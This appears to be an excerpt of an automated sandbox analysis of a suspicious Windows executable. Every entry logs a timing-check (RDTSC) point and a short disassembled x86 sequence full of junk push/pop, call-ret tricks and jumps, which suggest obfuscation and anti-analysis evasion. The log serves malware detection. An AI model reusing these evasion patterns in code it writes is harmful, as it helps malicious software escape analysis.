Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5B46E second address: E5B474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5B474 second address: E5B480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1C24FCCA86h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5D784 second address: E5D78A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5D78A second address: E5D808 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1C24FCCA8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F1C24FCCA93h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F1C24FCCA88h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c clc 0x0000002d call 00007F1C24FCCA96h 0x00000032 adc esi, 1D1A79A6h 0x00000038 pop edx 0x00000039 push 84A53C19h 0x0000003e pushad 0x0000003f jmp 00007F1C24FCCA8Bh 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5D808 second address: E5D8A5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 7B5AC467h 0x00000012 je 00007F1C24BF83FEh 0x00000018 push ecx 0x00000019 mov dword ptr [ebp+122D2B02h], edx 0x0000001f pop esi 0x00000020 push 00000003h 0x00000022 call 00007F1C24BF8406h 0x00000027 or dword ptr [ebp+122D32B2h], esi 0x0000002d pop ecx 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D3449h], eax 0x00000036 push 00000003h 0x00000038 call 00007F1C24BF83FCh 0x0000003d call 00007F1C24BF8403h 0x00000042 mov ecx, dword ptr [ebp+122D3966h] 0x00000048 pop edi 0x00000049 pop edx 0x0000004a call 00007F1C24BF83F9h 0x0000004f jmp 00007F1C24BF8404h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F1C24BF83FDh 0x0000005c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5D8A5 second address: E5D8DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1C24FCCA86h 0x00000009 jmp 00007F1C24FCCA99h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 js 00007F1C24FCCA94h 0x0000001b push eax 0x0000001c push edx 0x0000001d jbe 00007F1C24FCCA86h 0x00000023 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5D8DC second address: E5D8EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5D8EA second address: E5D95E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jno 00007F1C24FCCA90h 0x00000013 pop eax 0x00000014 sub dword ptr [ebp+122D2A93h], ecx 0x0000001a lea ebx, dword ptr [ebp+124525C3h] 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F1C24FCCA88h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000015h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a pushad 0x0000003b and di, 4CA2h 0x00000040 jns 00007F1C24FCCA88h 0x00000046 popad 0x00000047 mov esi, dword ptr [ebp+122D372Ah] 0x0000004d xchg eax, ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F1C24FCCA8Dh 0x00000055 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5D95E second address: E5D97B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24BF8409h 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5DADE second address: E5DB10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov cx, 10C5h 0x0000000c lea ebx, dword ptr [ebp+124525CCh] 0x00000012 mov edi, dword ptr [ebp+122D39A6h] 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a push ecx 0x0000001b jmp 00007F1C24FCCA92h 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7BC04 second address: E7BC0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7BC0A second address: E7BC11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7BDB4 second address: E7BDBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7BDBE second address: E7BDC8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1C24FCCA86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7BF75 second address: E7BF87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7C643 second address: E7C64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7CA59 second address: E7CA68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D167 second address: E7D16F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D16F second address: E7D175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D31A second address: E7D324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1C24FCCA86h 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D324 second address: E7D33D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1C24BF83FDh 0x00000011 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D33D second address: E7D362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F1C24FCCABAh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F1C24FCCA86h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D617 second address: E7D638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007F1C24BF83F6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F1C24BF83FDh 0x00000015 popad 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D8EF second address: E7D8F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D8F7 second address: E7D8FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7D8FB second address: E7D8FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8518A second address: E85198 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E839B9 second address: E839BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E839BD second address: E839D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E839D0 second address: E839D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E85200 second address: E85204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E85204 second address: E85208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E50CA9 second address: E50CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E50CB0 second address: E50CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA98h 0x00000009 pop edx 0x0000000a pushad 0x0000000b jg 00007F1C24FCCA86h 0x00000011 jp 00007F1C24FCCA86h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E73505 second address: E73513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007F1C24BF83F6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E88BBB second address: E88BC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8C844 second address: E8C848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8D5BA second address: E8D5D7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1C24FCCA8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jbe 00007F1C24FCCA88h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8D6AA second address: E8D6B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8EA3E second address: E8EA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9100D second address: E91011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E90D1F second address: E90D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E90D25 second address: E90D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E918E7 second address: E918FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24FCCA93h 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E918FE second address: E91963 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1C24BF83FFh 0x0000000f pop edx 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F1C24BF83F8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov esi, 4EB4DA98h 0x00000030 push 00000000h 0x00000032 or dword ptr [ebp+122D28ECh], esi 0x00000038 push 00000000h 0x0000003a xchg eax, ebx 0x0000003b jmp 00007F1C24BF83FDh 0x00000040 push eax 0x00000041 push esi 0x00000042 push eax 0x00000043 push edx 0x00000044 jnc 00007F1C24BF83F6h 0x0000004a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9379A second address: E937A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E937A0 second address: E937A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E94BB8 second address: E94BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E96A7B second address: E96A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E96A7F second address: E96A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E96FD1 second address: E96FDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E96FDB second address: E97072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F1C24FCCA88h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 jp 00007F1C24FCCA9Ah 0x0000002b jmp 00007F1C24FCCA94h 0x00000030 push 00000000h 0x00000032 jmp 00007F1C24FCCA99h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007F1C24FCCA88h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 mov ebx, dword ptr [ebp+122D3876h] 0x00000059 push eax 0x0000005a push esi 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F1C24FCCA8Eh 0x00000062 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9805A second address: E9805F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9805F second address: E9807C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F1C24FCCA8Ch 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E98F08 second address: E98F16 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E981F3 second address: E981FD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E99152 second address: E99156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E981FD second address: E9821F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9A0CD second address: E9A0D7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E99156 second address: E9915A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9AE93 second address: E9AE99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9915A second address: E99168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F1C24FCCA86h 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9AE99 second address: E9AEBB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1C24BF8403h 0x00000008 jmp 00007F1C24BF83FDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jbe 00007F1C24BF8404h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E99168 second address: E9916C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9BFBC second address: E9C005 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1C24BF83FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1C24BF8407h 0x00000011 pop edx 0x00000012 nop 0x00000013 mov edi, ebx 0x00000015 push 00000000h 0x00000017 mov ebx, ecx 0x00000019 push 00000000h 0x0000001b stc 0x0000001c or dword ptr [ebp+122D1911h], edi 0x00000022 push eax 0x00000023 js 00007F1C24BF8417h 0x00000029 push eax 0x0000002a push edx 0x0000002b jng 00007F1C24BF83F6h 0x00000031 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9B1AA second address: E9B1B4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9F03F second address: E9F045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9E1F4 second address: E9E1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9FFA2 second address: E9FFAF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E9F193 second address: E9F212 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push dword ptr fs:[00000000h] 0x0000000f mov ebx, ecx 0x00000011 mov dword ptr fs:[00000000h], esp 0x00000018 pushad 0x00000019 mov eax, dword ptr [ebp+122D396Eh] 0x0000001f call 00007F1C24FCCA8Eh 0x00000024 jmp 00007F1C24FCCA8Ah 0x00000029 pop eax 0x0000002a popad 0x0000002b mov eax, dword ptr [ebp+122D0975h] 0x00000031 mov dword ptr [ebp+122D18DCh], ecx 0x00000037 push FFFFFFFFh 0x00000039 mov ebx, 7CACF507h 0x0000003e nop 0x0000003f pushad 0x00000040 push eax 0x00000041 jmp 00007F1C24FCCA93h 0x00000046 pop eax 0x00000047 pushad 0x00000048 jg 00007F1C24FCCA86h 0x0000004e jmp 00007F1C24FCCA8Ch 0x00000053 popad 0x00000054 popad 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 pushad 0x0000005a popad 0x0000005b pop eax 0x0000005c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA0192 second address: EA0196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA1063 second address: EA10B0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add dword ptr [ebp+122D1EE3h], esi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F1C24FCCA88h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov edi, ecx 0x0000002f mov ebx, 43754068h 0x00000034 push 00000000h 0x00000036 sbb di, 0638h 0x0000003b xor di, E832h 0x00000040 xchg eax, esi 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 pushad 0x00000045 popad 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA10B0 second address: EA10CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24BF8409h 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA1209 second address: EA120E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA2182 second address: EA2197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F1C24BF83F8h 0x00000013 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA120E second address: EA128C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c adc ebx, 3EFD5F40h 0x00000012 mov ebx, dword ptr [ebp+122D3712h] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F1C24FCCA88h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 mov dword ptr [ebp+122D3532h], edi 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 mov bx, dx 0x00000049 mov eax, dword ptr [ebp+122D015Dh] 0x0000004f mov ebx, dword ptr [ebp+122D36FEh] 0x00000055 push FFFFFFFFh 0x00000057 add di, 70EBh 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA4038 second address: EA403C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA2197 second address: EA219D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA128C second address: EA1292 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
